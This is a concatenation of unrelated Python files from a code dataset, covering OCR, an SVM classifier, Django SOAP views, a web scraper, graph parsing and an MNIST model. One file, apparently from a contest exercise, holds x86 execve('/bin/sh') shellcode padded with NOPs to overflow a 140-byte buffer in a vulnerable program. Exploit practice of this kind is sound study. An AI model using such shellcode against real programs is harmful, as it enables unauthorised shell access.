end_Yn)\n\t\t\t\t\t\t\tfound = True\n\n\t\t\t\t\t\t\tif (start_Xn <= end_X):\n\t\t\t\t\t\t\t\teX = np.maximum(end_X, end_Xn)\n\t\t\t\t\t\t\t\tbox_to_merge = (start_X, sY, eX, eY)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tbox_to_merge = (start_X, sY, end_Xn, eY)\n\t\t\t\t\t\t\tbreak\n\t\t\t\tj += 1\n\t\t\tif (found == True):\n\t\t\t\tbreak\n\t\t\ti += 1\n\n\t\t#delete merger, and add new box, assume i before j\n\t\tif (found == True):\n\t\t\tbox_change = copy.deepcopy(box_it)\n\t\t\tbox_change.pop(merger[0])\n\t\t\tbox_change.pop(merger[1]-1)\n\t\t\tbox_change.append(box_to_merge)\n\t\t\tbox_change = sorted(box_change, key=lambda tup: tup[0])\n\t\t\tbox_it = copy.deepcopy(box_change)\n\t\telse:\n\t\t\tdone = True\n\n\treturn box_it\n\ndef process_image(image_read, image_real, east, min_confidence, width, height, hyst_X=0, hyst_Y=0, offset_X=0, offset_Y=0, remove_boxes=False):\n\n\t#unnecessary default\n\targs = {\"image\":\"/Users/surajmenon/Desktop/findocDocs/apple_test1.png\", \"east\":\"/Users/surajmenon/Desktop/findocDocs/frozen_east_text_detection.pb\", \"min_confidence\":0.5, \"width\":320, \"height\":320}\n\n\targs['image'] = image_real\n\targs['east'] = east\n\targs['min_confidence'] = min_confidence\n\targs['width'] = width\n\targs['height'] = height\n\n\tif (image_read == True):\n\t\timage = cv2.imread(args['image'])\n\telse:\n\t\timage = args['image']\n\n\t#print ('Processing Image')\n\t#print (image.shape)\n\tprint ('.')\n\n\n\t#Saving a original image and shape\n\torig = image.copy()\n\t(origH, origW) = image.shape[:2]\n\n\t# print ('Image Size')\n\t# print (origH)\n\t# print (origW)\n\t# exit()\n\n\t# set the new height and width to default 320 by using args #dictionary. \n\t(newW, newH) = (args[\"width\"], args[\"height\"])\n\n\t#Calculate the ratio between original and new image for both height and weight. \n\t#This ratio will be used to translate bounding box location on the original image. \n\trW = origW / float(newW)\n\trH = origH / float(newH)\n\n\t# resize the original image to new dimensions\n\timage = cv2.resize(image, (newW, newH))\n\t(H, W) = image.shape[:2]\n\n\tnet = args[\"east\"]\n\n\tblob = cv2.dnn.blobFromImage(image, 1.0, (W, H),\n\t(123.68, 116.78, 103.94), swapRB=True, crop=False)\n\n\t# construct a blob from the image to forward pass it to EAST model\n\t# blob = cv2.dnn.blobFromImage(image, 1.0, (W, H),\n\t# \t(123.68, 116.78, 103.94), swapRB=True, crop=False)\n\n\t# net = cv2.dnn.readNet(args[\"east\"])\n\n\t# We would like to get two outputs from the EAST model. \n\t#1. Probabilty scores for the region whether that contains text or not. \n\t#2. Geometry of the text -- Coordinates of the bounding box detecting a text\n\t# The following two layer need to pulled from EAST model for achieving this. \n\t# layerNames = [\n\t# \t\"feature_fusion/Conv_7/Sigmoid\",\n\t# \t\"feature_fusion/concat_3\"]\n\n\t# net.setInput(blob)\n\t#(scores, geometry) = net.forward(layerNames)\n\n\tprint (blob.shape)\n\t#image_r = image.reshape(1, 3, H, W)\n\tprint (blob.dtype)\n\tprint (blob.shape)\n\timage_r_pt = torch.from_numpy(blob)\n\tprint (image_r_pt.shape)\n\tprint (image_r_pt.dtype)\n\timage_r_pt = image_r_pt.type(torch.FloatTensor)\n\t(scores, geometry) = net(image_r_pt)\n\tprint (scores.shape)\n\tprint (geometry.shape)\n\n\tscores_n = scores.detach().cpu().numpy()\n\tgeometry_n = geometry.detach().cpu().numpy()\n\n\t(boxes, confidence_val) = predictions(scores_n, geometry_n, args['min_confidence'])\n\tboxes = non_max_suppression(np.array(boxes), probs=confidence_val)\n\n\t##Text Detection and Recognition \n\n\t# initialize the list of results\n\tresults = []\n\t\n\t#for now, say we don't want any X-shifting\n\tx_start_buffer = 0\n\n\t#boxes = connect_horizontal_boxes(boxes, x_threshold=50, y_threshold=20) \n\tadjusted_boxes = []\n\n\t# loop over the bounding boxes to find the coordinate of bounding boxes\n\tfor (startX, startY, endX, endY) in boxes:\n\t\t# scale the coordinates based on the respective ratios in order to reflect bounding box on the original image\n\t\tstartX = int(startX * rW) - hyst_X - x_start_buffer\n\t\tstartY = int(startY * rH) - hyst_Y \n\t\tendX = int(endX * rW) + hyst_X - x_start_buffer\n\t\tendY = int(endY * rH) + hyst_Y \n\n\t\t#bound the bound\n\t\tif (startX < 0):\n\t\t\tstartX = 0\n\t \n\t\tif (startY < 0):\n\t\t\tstartY = 0\n\n\t\tif (endX > origW):\n\t\t\tendX = origW-1\n\t\tif (endY > origH):\n\t\t\tendY = origH-1\n\n\t\tadjusted_box = (startX, startY, endX, endY)\n\t\tadjusted_boxes.append(adjusted_box)\n\n\t#adjusted_boxes = connect_horizontal_boxes(adjusted_boxes, x_threshold=5, y_threshold=15) \n\n\tfor (startX, startY, endX, endY) in adjusted_boxes:\n\t\t#extract the region of interest\n\t\tr = orig[startY:endY, startX:endX]\n\n\t\t#configuration setting to convert image to string. \n\t\t#configuration = (\"-l eng --oem 1 --psm 8\")\n\t\tconfiguration = (\"-l eng --oem 1 --psm 7\")\n\t ##This will recognize the text from the image of bounding box\n\n\n\t\ttry:\n\t\t\ttext = pytesseract.image_to_string(r, config=configuration)\n\t\texcept:\n\t\t\tprint ('Some bounding box out of order')\n\t\t\ttext = 'GHAJEFKJEKAFJEKFAJEFKEJKFAEK'\n\n\t\t# append bbox coordinate and associated text to the list of results \n\t\tresults.append(((startX, startY, endX, endY), text))\n\n\treturn orig, results\n\ndef show_image(image, results):\n\n\t#Display the image with bounding box and recognized text\n\t#orig_image = orig.copy()\n\torig_image = image.copy()\n\n\t# Moving over the results and display on the image\n\tfor ((start_X, start_Y, end_X, end_Y), text) in results:\n\t\t# display the text detected by Tesseract\n\t\tprint(\"{}\\n\".format(text))\n\n\t\t# Displaying text\n\t\ttext = \"\".join([x if ord(x) < 128 else \"\" for x in text]).strip()\n\t\tcv2.rectangle(orig_image, (start_X, start_Y), (end_X, end_Y),\n\t\t\t(0, 0, 255), 2)\n\t\tcv2.putText(orig_image, text, (start_X, start_Y - 30),\n\t\t\tcv2.FONT_HERSHEY_SIMPLEX, 0.7,(0,0, 255), 2)\n\n\tplt.imshow(orig_image)\n\tplt.title('Output')\n\tplt.show()\n\nmodel_name = './pths/east_vgg16.pth'\n#model_name = './pths/sm2-300.pth'\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nmodel = EAST(False).to(device)\nmodel.load_state_dict(torch.load(model_name, map_location=torch.device('cpu')))\n\n# set the model to inference mode\nmodel.eval()\n\n#img_path = \"/Users/surajmenon/Desktop/findocDocs/apple_tc_full1.png\"\nimg_path = \"/Users/surajmenon/Desktop/findocDocs/test_image1.jpg\"\nmin_confidence = .99\nheight = 512\nwidth = 512\n\nprocess_date_x = 15\nprocess_date_y = 5\n\nr_image, results = process_image(True, img_path, model, min_confidence, height, width, hyst_X=process_date_x, hyst_Y=process_date_y)\nshow_image(r_image, results)\n\n","sub_path":"EAST-master-torch/model_test.py","file_name":"model_test.py","file_ext":"py","file_size_in_byte":8565,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"584746924","text":"import math\nimport numpy as np\n\n\ndef eeg_to_mu(eeg):\n \"\"\"\n Quantizes an eeg-signal between -1 and 1 into 256 bins, using the mu law compression.\n :param eeg: EEG signal\n :return: Quantized eeg signal.\n \"\"\"\n mu_eeg = np.zeros((eeg.shape[0],1),dtype=np.int)\n for i in range(eeg.shape[0]):\n mu_eeg[i] = to_mu(eeg[i])\n\n return mu_eeg\n\n\ndef mu_to_eeg(mu_eeg):\n \"\"\"\n Undoes the quantization and returnes an eeg'ish signal.\n :param mu_eeg: Quantized EEG signal.\n :return: EEG signal with values between -1 and 1\n \"\"\"\n eeg = np.zeros((mu_eeg.shape[0], 1), dtype=np.int)\n for i in range(eeg.shape[0]):\n eeg[i] = from_mu(mu_eeg[i])\n return eeg\n\n\ndef to_mu(y):\n mu = 255\n SCALE = 32768\n BIAS = 132\n CLIP = 32635\n OFFSET = 335\n\n y = SCALE * y\n sig = np.sign(y) + (y == 0)\n y = min(abs(y), CLIP)\n m, e = math.frexp(y+BIAS)\n return 64 * sig - 16 * e - int(float(32 * m)) + OFFSET\n\n\ndef from_mu(mu):\n SCALE = 1 / 32768\n ETAB = np.asarray([0, 132, 396, 924, 1980, 4092, 8316, 16764])\n\n mu = 255 - mu\n sig = mu > 127\n e = int((float(mu) / 16)) - 8 * sig + 1\n f = mu % 16\n y = f * (2**(e+2))\n e = ETAB[e-1]\n return SCALE * (1 - 2 * sig)*(e + y)","sub_path":"dl_data_management/dl_utlis.py","file_name":"dl_utlis.py","file_ext":"py","file_size_in_byte":1245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"59388924","text":"import pandas as pd\nimport pylab as pl\nimport numpy as np\nimport scipy.optimize as opt\nfrom sklearn import preprocessing\nfrom sklearn.model_selection import train_test_split\n\nimport matplotlib.pyplot as plt\n\n#Read in Cancer data files\ncsv_path = 'https://s3-api.us-geo.objectstorage.softlayer.net/cf-courses-data/CognitiveClass/ML0101ENv3/labs/cell_samples.csv'\ncell_df = pd.read_csv(csv_path)\n\n#plot Clump vs UnifSize with the dependent variable being 2(benign) or 4(maligant)\nax = cell_df[cell_df['Class'] == 4][0:50].plot(kind='scatter', x='Clump', y='UnifSize', color='DarkBlue', label='malignant');\ncell_df[cell_df['Class'] == 2][0:50].plot(kind='scatter', x='Clump', y='UnifSize', color='Yellow', label='benign', ax=ax);\nplt.savefig('SVM.png')\n\n#----------preprocessing----------------------------------------------\n\n#list out all atrributes\n\n\n#Drop nonnumerical rows in BareNuc attribute then convert remaining to int\ncell_df = cell_df[pd.to_numeric(cell_df['BareNuc'], errors='coerce').notnull()]\ncell_df['BareNuc'] = cell_df['BareNuc'].astype('int')\n\n\n#create another df just of independent variables, hence the double square brakets\nfeature_df = cell_df[['Clump', 'UnifSize', 'UnifShape', 'MargAdh', 'SingEpiSize', 'BareNuc', 'BlandChrom', 'NormNucl', 'Mit']]\nX = np.asarray(feature_df) #convert to nparray\nprint(X[0:5])\n\n#nparray of dependent variable\ncell_df['Class'] = cell_df['Class'].astype('int')\ny = np.asarray(cell_df['Class'])\nprint(y[0:5])\n\n#Train, test\nX_train, X_test, y_train, y_test = train_test_split( X, y, test_size=0.2, random_state=4)\nprint ('Train set:', X_train.shape, y_train.shape)\nprint ('Test set:', X_test.shape, y_test.shape)\n\n\n#------------------Modeling----------------------------------------------------\n\nfrom sklearn import svm\n\n#Use default equation to create our seperator\nclf = svm.SVC(kernel='rbf')\nclf.fit(X_train, y_train)\n\n#predict new values\nyhat = clf.predict(X_test)\nprint(yhat[0:5])\n\n\n#------------------Evaluation--------------------------------------------------\n\nfrom sklearn.metrics import classification_report, confusion_matrix\nimport itertools\n\ndef plot_confusion_matrix(cm, classes,\n normalize=False,\n title='Confusion matrix',\n cmap=plt.cm.Blues):\n \"\"\"\n This function prints and plots the confusion matrix.\n Normalization can be applied by setting `normalize=True`.\n \"\"\"\n if normalize:\n cm = cm.astype('float') / cm.sum(axis=1)[:, np.newaxis]\n print(\"Normalized confusion matrix\")\n else:\n print('Confusion matrix, without normalization')\n\n print(cm)\n\n plt.imshow(cm, interpolation='nearest', cmap=cmap)\n plt.title(title)\n plt.colorbar()\n tick_marks = np.arange(len(classes))\n plt.xticks(tick_marks, classes, rotation=45)\n plt.yticks(tick_marks, classes)\n\n fmt = '.2f' if normalize else 'd'\n thresh = cm.max() / 2.\n for i, j in itertools.product(range(cm.shape[0]), range(cm.shape[1])):\n plt.text(j, i, format(cm[i, j], fmt),\n horizontalalignment=\"center\",\n color=\"white\" if cm[i, j] > thresh else \"black\")\n\n plt.tight_layout()\n plt.ylabel('True label')\n plt.xlabel('Predicted label')\n plt.savefig('CF.png')\n\n\n# Compute confusion matrix\ncnf_matrix = confusion_matrix(y_test, yhat, labels=[2,4])\nnp.set_printoptions(precision=2)\n\nprint (classification_report(y_test, yhat))\n\n# Plot non-normalized confusion matrix\nplt.figure()\nplot_confusion_matrix(cnf_matrix, classes=['Benign(2)','Malignant(4)'],normalize= False, title='Confusion matrix')\n\n\n\n#Plotting the F1-score\nfrom sklearn.metrics import f1_score\nf1_score(y_test, yhat, average='weighted')\n\n\n#Using jaccard to measure accuracy\nfrom sklearn.metrics import jaccard_similarity_score\njaccard_similarity_score(y_test, yhat)\n","sub_path":"SVM.py","file_name":"SVM.py","file_ext":"py","file_size_in_byte":3835,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"443801637","text":"import unittest\nfrom knapsack_01 import Knapsack\nclass TestKnapsack(unittest.TestCase):\n \n def test_small(self):\n v = [6, 10,12]\n wt = [1,2,3]\n W = 5\n k = Knapsack(v,wt,W)\n max_val = k.get_max_value()\n self.assertEqual(22, max_val)\n self.assertItemsEqual([2,1], k.get_items())\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"dynamic_programming/test_knapsack.py","file_name":"test_knapsack.py","file_ext":"py","file_size_in_byte":380,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"454879132","text":"import logging\n\nfrom suds.client import Client, WebFault\n\nfrom rest_framework import generics, status\nfrom rest_framework.decorators import api_view\nfrom rest_framework.response import Response\nfrom rest_framework.reverse import reverse\nfrom django.conf import settings\n\nfrom bonus_cards.models import BonusCard\nfrom bonus_cards.serializers import (\n BonusCardBalanceSerializer, BonusCardTransactionsSerializer,\n BonusCardGetUuidSerializer,\n)\n\nLOGGER = logging.getLogger(__name__)\n\nif settings.DEBUG:\n import logging\n logging.basicConfig(level=logging.INFO)\n logging.getLogger('suds.client').setLevel(logging.DEBUG)\n logging.getLogger('suds.transport').setLevel(logging.DEBUG)\n logging.getLogger('suds.xsd.schema').setLevel(logging.DEBUG)\n logging.getLogger('suds.wsdl').setLevel(logging.DEBUG)\n\n\n@api_view(('GET',))\ndef api_root(request):\n return Response({\n 'get_uuid': reverse(\n 'bonus_cards:get_uuid', kwargs={\n 'bonus_program_uuid': 'BONUS_PROGRAM_UUID',\n 'card_number': 'CARD_NUMBER'\n }\n ),\n 'balance': reverse(\n 'bonus_cards:balance', kwargs={'uuid': 'CARD_UUID'}\n ),\n 'transactions': reverse(\n 'bonus_cards:transactions', kwargs={'uuid': 'CARD_UUID'}\n ),\n })\n\n\nclass BonusCardBaseView(generics.RetrieveAPIView):\n def get_wsdl_service(self, wsdl_client):\n raise NotImplementedError\n\n def get_serialized_data(self, wsdl_data):\n raise NotImplementedError\n\n def get_object(self):\n try:\n wsdl_client = Client(settings.ONE_C_WSDL,\n username=settings.ONE_C_WSDL_USER,\n password=settings.ONE_C_WSDL_PASSWORD)\n\n wsdl_response = self.get_wsdl_service(wsdl_client)\n\n except (WebFault, Exception) as e:\n LOGGER.error(e)\n wsdl_response = None\n\n return wsdl_response\n\n def retrieve(self, request, *args, **kwargs):\n wsdl_obj = self.get_object()\n if wsdl_obj:\n if u'Данные' in wsdl_obj:\n serialized_data = self.get_serialized_data(wsdl_obj[u'Данные'])\n # cache.set(request.path, serialized_data, 60)\n return Response(serialized_data)\n\n elif u'_Сообщение' in wsdl_obj:\n message = {'message': wsdl_obj[u'_Сообщение']}\n return Response(message, status.HTTP_404_NOT_FOUND)\n\n else:\n message = {'message': '1C error communication'}\n return Response(message, status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n\nclass BonusCardGetUuidView(BonusCardBaseView):\n serializer_class = BonusCardGetUuidSerializer\n\n def get_wsdl_service(self, wsdl_client):\n return wsdl_client.service.BonusCardGetID(\n self.kwargs.get('bonus_program_uuid'),\n self.kwargs.get('card_number'),\n )\n\n def get_serialized_data(self, wsdl_data):\n bonus_card = BonusCard(uuid=wsdl_data[u'Идентификатор'])\n serializer = self.get_serializer(bonus_card)\n return serializer.data\n\n\nclass BonusCardBalanceView(BonusCardBaseView):\n serializer_class = BonusCardBalanceSerializer\n\n def get_wsdl_service(self, wsdl_client):\n return wsdl_client.service.BonusCardInfo(self.kwargs.get('uuid'))\n\n def get_serialized_data(self, wsdl_data):\n balance = wsdl_data[u'Баллы']\n bonus_card = BonusCard(uuid=self.kwargs.get('uuid'), balance=balance)\n serializer = self.get_serializer(bonus_card)\n return serializer.data\n\n\nclass BonusCardTransactionsView(BonusCardBaseView):\n serializer_class = BonusCardTransactionsSerializer\n\n def get_wsdl_service(self, wsdl_client):\n return wsdl_client.service.BonusCardTransactions(\n self.kwargs.get('uuid')\n )\n\n def get_serialized_data(self, wsdl_data):\n transactions = []\n for transaction in wsdl_data[u'ИсторияОпераций']:\n transactions.append({\n 'period': transaction[u'Период'],\n 'balance': transaction[u'Баллы'],\n 'comment': transaction[u'Комментарий'],\n })\n\n bonus_card = BonusCard(uuid=self.kwargs.get('uuid'),\n transactions=transactions)\n serializer = self.get_serializer(bonus_card)\n return serializer.data\n","sub_path":"src/bonus_cards/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4472,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"240669839","text":"#! python3 \n# import my MM library \n#-------------------------------------------\nimport sys,os\nsys.path.append('/home/k/pylib/pwn_ctrlbinary')\nimport MMexploit_lib as MMexp\n#-------------------------------------------\n\nshell_str01 = '\\x68\\x2f\\x73\\x68\\x00\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x31\\xd2\\x52\\x53\\x89\\xe1\\xb8\\x0b\\x00\\x00\\x00\\xcd\\x80'\nshell_str02 = MMexp.getStr_openBinaryfile('assembler01') \n\n\n\n\nbase64_data = MMexp.convert_binary2base64(shell_str01)\nhex_data01 = MMexp.convert_binary2hexstr(shell_str01)\nhex_data02 = MMexp.convert_binary2hexstr(shell_str02)\n\n\n\nprint('----------------')\nprint(base64_data)\nprint(hex_data01)\nprint(hex_data02)\nprint('----------------')\n\n\n# Input sc(strings) for vulnerbility program. Usage: python [this].py | ./[exec]\nsc = shell_str02 + b'\\x90'*(140-len(shell_str02)) # + b'\\n'\nMMexp.wait_any_sec(0.5)\nprint(sc)\n\n","sub_path":"20180304_contest2/shellcode_take2/python_input_auto.py","file_name":"python_input_auto.py","file_ext":"py","file_size_in_byte":849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"254738972","text":"import requests\nfrom bs4 import BeautifulSoup\nfrom monitoring_app.models import CompetitorProduct\nimport random\nfrom decimal import Decimal\n\n\ndef get_html(url):\n user_agent = 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.81 Safari/537.36'\n r = requests.get(url, headers={'User-Agent': user_agent})\n if r.ok:\n return r.text\n print(r.status_code)\n\n\ndef refined(s):\n s = s.replace('\\t', '').replace('\\n', '').replace('\\r', '')\n return s\n\n\ndef get_page_data(html):\n data_list = []\n soup = BeautifulSoup(html, 'lxml')\n divs = soup.find_all('a', class_=\"sel-product-tile-title\")\n\n for div in divs:\n url = 'https://www.mvideo.ru' + div.get('href')\n products = div.get('data-product-info').split('{')[1::2]\n\n for product in products:\n refined_product = refined(product)\n p = '{' + refined_product\n\n d = eval(p)\n\n id_product = d.get('productId')\n name = d.get('productName')\n price = d.get('productPriceLocal')\n categoryId = d.get('productCategoryId')\n categoryName = d.get('productCategoryName')\n vendorName = d.get('productVendorName')\n groupId = d.get('productGroupId')\n shop = 'М.видео'\n\n data = {'id_product': id_product,\n 'name': name,\n # генерация цены с рандомайзером для создания образца базы данных МОИХ товаров\n # 'price': float(price) + round(random.uniform(-1, 1)*400)*5,\n 'price': price,\n 'categoryId': categoryId,\n 'categoryName': categoryName,\n 'vendorName': vendorName.lower().title(),\n 'groupId': groupId,\n 'url': url,\n 'shop': shop}\n\n print(data)\n data_list.append(data)\n return data_list\n\n\ndef write_db(competitor_products):\n meta = {'updated_count': 0, 'created_count': 0}\n urls = [competitor_product.get('url') for competitor_product in competitor_products if\n competitor_product.get('url')]\n CompetitorProduct.objects.filter(url__in=urls).update(status=False)\n\n for competitor_product in competitor_products:\n url = competitor_product.get('url')\n if url:\n price = Decimal(competitor_product.get('price'))\n id_product = int(competitor_product.get('id_product'))\n categoryId = competitor_product.get('categoryId')\n categoryName = competitor_product.get('categoryName')\n vendorName = competitor_product.get('vendorName')\n groupId = competitor_product.get('groupId')\n shop = competitor_product.get('shop')\n name = competitor_product.get('name')\n\n _, created = CompetitorProduct.objects.update_or_create(url=url, defaults={'id_product': id_product,\n 'name': name,\n 'price': price,\n 'categoryId': categoryId,\n 'categoryName': categoryName,\n 'vendorName': vendorName,\n 'groupId': groupId,\n 'status': True,\n 'shop': shop})\n if created:\n meta['created_count'] += 1\n else:\n meta['updated_count'] += 1\n return meta\n\n\ndef mvideo(url_target, page_count):\n pattern = url_target + '/f/page={}'\n for i in range(1, int(page_count) + 1):\n url = pattern.format(str(i))\n html = get_html(url)\n product_list = get_page_data(html)\n write_db(product_list)\n product_count_on_page = len(product_list)\n print(\"-\" * 42 + \"\\nНа странице номер {} получено {} продуктов\".format(i,\n product_count_on_page) + \"\\n\" + \"-\" * 42)\n meta = write_db(product_list)\n print(f'--> {i}: {meta}')\n all_product_count = int(product_count_on_page) * int(page_count)\n print(\"-\" * 42 + \"\\nВсего на странице {} получено {} продуктов\".format(url_target,\n all_product_count) + \"\\n\" + \"-\" * 42)\n","sub_path":"app/monitoring_app/parsers/mvideo.py","file_name":"mvideo.py","file_ext":"py","file_size_in_byte":4937,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"533320268","text":"import netifaces\nimport socket\nfrom smtplib import SMTP_SSL as SMTP\nfrom email.mime.text import MIMEText\n\n\nintInfo = list();\nfrom_addr = \"XXXX@gmail.com\"\nto_addrs = \"XXXX@gmail.com\"\ncontent = \"\"\n\nintList = netifaces.interfaces()\n\nfor intf in intList:\n try:\n addr = netifaces.ifaddresses(intf)\n content += (intf + \"\\n\")\n content += (\" IP address:\\t\"+addr[netifaces.AF_INET][0]['addr']+\"\\n\")\n content += (\"Subnet Mask:\\t\"+addr[netifaces.AF_INET][0]['netmask'] + \"\\n\\n\")\n except KeyError:\n content += (\"No IP address found on \"+intf+\"\\n\\n\")\n \n\nmsg = MIMEText(content, 'plain')\nmsg['Subject'] = \"--Network Information from \"+socket.gethostname()+\"--\"\nmsg['From'] = from_addr\n\nser = SMTP(\"smtp.gmail.com:465\")\nser.ehlo()\nser.login(\"XXXX\", \"XXXX\")\nser.sendmail(from_addr, to_addrs, msg.as_string())\nser.quit()","sub_path":"mailing/mailing.py","file_name":"mailing.py","file_ext":"py","file_size_in_byte":851,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"413247640","text":"\"\"\"\n python3 readgraph.py [ digraph-file ]\n\nTakes a csv (comma separated values) text file containing the vertices\nand edges of a street digraph and converts it into a digraph instance.\n\nIf the optional argument digraph-file is supplied, reads that, otherwise\ntakes input from stdin\n\"\"\"\n# import sys\n\n# # throw away executable name before processing command line arguments\n# argv = sys.argv[1:]\n\n# # if filename is supplied, use that, otherwise use stdin\n# if argv:\n# digraph_file_name = argv.pop(0)\n# digraph_file = open(digraph_file_name, 'r')\n# else:\n# digraph_file = sys.stdin\n\n# For testing, just use a simple representation of set of vertices, set of\n# edges as ordered pairs, and dctionaries that map\n# vertex to (lat,long)\n# edge to street name\n\nimport logging\nfrom digraph import Digraph\n\n\ndef readgraph(digraph_file_name):\n # create logger\n readgraph_logger = logging.getLogger('MappingServer.readgraph')\n\n readgraph_logger.info(\"Opening graphfile:\" + str(digraph_file_name))\n digraph_file = open(digraph_file_name, 'r')\n readgraph_logger.info(\"Open successful.\")\n\n V = set()\n E = set()\n V_coord = {}\n E_name = {}\n\n G = Digraph()\n\n readgraph_logger.info(\"Parsing file...\")\n # process each line in the file\n for line in digraph_file:\n\n # strip all trailing whitespace\n line = line.rstrip()\n\n fields = line.split(\",\")\n type = fields[0]\n\n if type == 'V':\n # got a vertex record\n (id, lat, long) = fields[1:]\n\n # vertex id's should be ints\n id = int(id)\n\n # lat and long are floats\n lat = float(lat)\n long = float(long)\n\n V.add(id)\n V_coord[id] = (lat, long)\n\n elif type == 'E':\n # got an edge record\n (start, stop, name) = fields[1:]\n\n # vertices are ints\n start = int(start)\n stop = int(stop)\n e = (start, stop)\n\n # get rid of leading and trailing quote \" chars around name\n name = name.strip('\"')\n\n # consistency check, we don't want auto adding of vertices when\n # adding an edge.\n if start not in V or stop not in V:\n readgraph_logger.error(\"Edge {} has an endpoint that is not a vertex\".format(e))\n raise Exception(\"Edge {} has an endpoint that is not a vertex\".format(e))\n\n G.add_edge(e)\n E_name[e] = name\n else:\n # weird input\n readgraph_logger.error(\"Error: weird line |{}|\".format(line))\n raise Exception(\"Error: weird line |{}|\".format(line))\n\n readgraph_logger.info(\"Parsing finished.\")\n readgraph_logger.debug(\"Graph has \" + str(G.num_vertices()) + \" vertices and \" + str(G.num_edges()) + \" edges\")\n\n V_Rev = {}\n\n for key in V_coord:\n V_Rev[key] = (int(V_coord[key][0] * 100000), int(V_coord[key][1] * 100000))\n\n V_coord_rev = dict([(v, k) for (k, v) in V_Rev.items()])\n\n names = (V_coord, E_name, V_coord_rev)\n\n return (G, names)\n","sub_path":"readgraph.py","file_name":"readgraph.py","file_ext":"py","file_size_in_byte":3090,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"551191946","text":"\n\"\"\"\nYou are given a rectangular matrix numbers consisting of positive integers, where the cells are coloured in black and white in the style of a chess board (the upper-left corner is black, and the neighboring cells have different colors), like this:\nYour task is to sort the numbers on the chess board according to a set of queries. More specifically, you are given an array queries, where each element is of the form [x, y, w], representing a w × w submatrix with its upper-left corner at (x, y) on the numbers matrix.\n\nFor each query, sort the numbers within the submatrix separately:\n\nSort all the numbers on black squares within the submatrix in their relative order of ascending value;\nSort all the numbers on white squares within the submatrix in their relative order of ascending value;\nThe numbers should be re-arranged within the submatrix such that each number ends up on the same colour square that it started on.\nReturn the numbers matrix after processing all the queries on it.\n\"\"\"\n\n\ndef Sort(m):\n count = 0\n l1 = []\n l2 = []\n for i in range(len(m)):\n for j in range(len(m[0])):\n if (i+j) % 2 == 0:\n l1.append(m[i][j])\n else:\n l2.append(m[i][j])\n\n l1.sort()\n l2.sort()\n count = 0\n for i in range(len(m)):\n for j in range(len(m[0])):\n if (i+j) % 2 == 0:\n m[i][j] = l1[count//2]\n else:\n m[i][j] = l2[count//2]\n count += 1\n\n\ndef getM(x, y, w, numbers):\n m = [[0 for i in range(w)] for j in range(w)]\n for i in range(x, x+w):\n for j in range(y, y+w):\n m[i-x][j-y] = numbers[i][j]\n return m\n\n\ndef copyM(x, y, w, numbers, m):\n for i in range(x, x+w):\n for j in range(y, y+w):\n numbers[i][j] = m[i-x][j-y]\n\n\ndef sortChessSubsquares(numbers, queries):\n for q in queries:\n x, y, w = q\n m = getM(x, y, w, numbers)\n Sort(m)\n copyM(x, y, w, numbers, m)\n return numbers\n","sub_path":"CodeSignal/sortChessSubsquares.py","file_name":"sortChessSubsquares.py","file_ext":"py","file_size_in_byte":2009,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"57"}
+{"seq_id":"546532914","text":"\"\"\"A MNIST linear network model contains inference, train, loss and evaluation.\"\"\"\n\nimport tensorflow as tf\nimport math\n\n# The MNIST dataset has 10 classes, representing the digits 0 through 9.\nNUM_CLASSES = 10\n\n# The MNIST images are always 28x28 pixels.\nIMAGE_SIZE = 28\nIMAGE_PIXELS = IMAGE_SIZE * IMAGE_SIZE\n\nHIDDEN1_UNITS = 128\nHIDDEN2_UNITS = 32\n\n\ndef inference(images):\n # Hidden 1\n with tf.name_scope('hidden1'):\n weights = tf.Variable(tf.truncated_normal(\n [IMAGE_PIXELS, HIDDEN1_UNITS], stddev=1.0 / math.sqrt(float(IMAGE_PIXELS))), name='weights')\n biases = tf.Variable(tf.zeros([HIDDEN1_UNITS]), name='biases')\n hidden1 = tf.nn.relu(tf.matmul(images, weights) + biases)\n\n # Hidden 2\n with tf.name_scope('hidden2'):\n weights = tf.Variable(tf.truncated_normal(\n [HIDDEN1_UNITS, HIDDEN2_UNITS], stddev=1.0 / math.sqrt(float(HIDDEN1_UNITS))), name='weights')\n biases = tf.Variable(tf.zeros([HIDDEN2_UNITS]), name='biases')\n hidden2 = tf.nn.relu(tf.matmul(hidden1, weights) + biases)\n\n # Linear\n with tf.name_scope(\"softmax_linear\"):\n weights = tf.Variable(tf.truncated_normal(\n [HIDDEN2_UNITS, NUM_CLASSES], stddev=1.0 / math.sqrt(float(HIDDEN2_UNITS))), name='weights')\n biases = tf.Variable(tf.zeros([NUM_CLASSES]), name='biases')\n logits = tf.matmul(hidden2, weights) + biases\n\n return logits\n\n\ndef loss(logits, labels):\n labels = tf.to_int32(labels)\n xentropy = tf.nn.sparse_softmax_cross_entropy_with_logits(logits=logits, labels=labels, name='xentropy')\n return tf.reduce_mean(xentropy, name='xentropy_mean')\n\n\ndef train(total_loss, learning_rate=0.01):\n tf.summary.scalar('total_loss', total_loss)\n return tf.train.GradientDescentOptimizer(learning_rate).minimize(total_loss)\n\n\ndef evaluation(logits, labels):\n correct = tf.nn.in_top_k(logits, labels, 1)\n correct_num = tf.reduce_sum(tf.to_float(correct))\n return correct_num / tf.cast(tf.shape(labels)[0], 